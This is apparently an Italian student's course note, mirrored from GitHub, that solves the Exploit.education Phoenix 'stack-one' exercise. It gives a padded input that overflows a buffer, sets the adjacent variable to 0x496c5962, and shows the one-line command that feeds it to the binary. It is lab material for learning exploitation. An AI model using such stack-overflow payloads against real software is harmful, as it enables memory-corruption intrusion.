1
Fork 0
mirror of https://github.com/Steffo99/appunti-magistrali.git synced 2024-11-25 03:34:17 +00:00
appunti-steffo/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/01 - stack-one.md

11 lines
413 B
Markdown
Raw Normal View History

2023-09-21 00:46:23 +00:00
# [Stack One](https://exploit.education/phoenix/stack-one/)
Inserire `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabYlI` come input.
`bYlI` manda `buffer` in overflow, impostando il valore di `changeme` ad `"bYlI"`, ovvero `0x496c5962` (***in architetture little-endian***).
## Soluzione
```bash
echo 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabYlI' | ./stack-one
```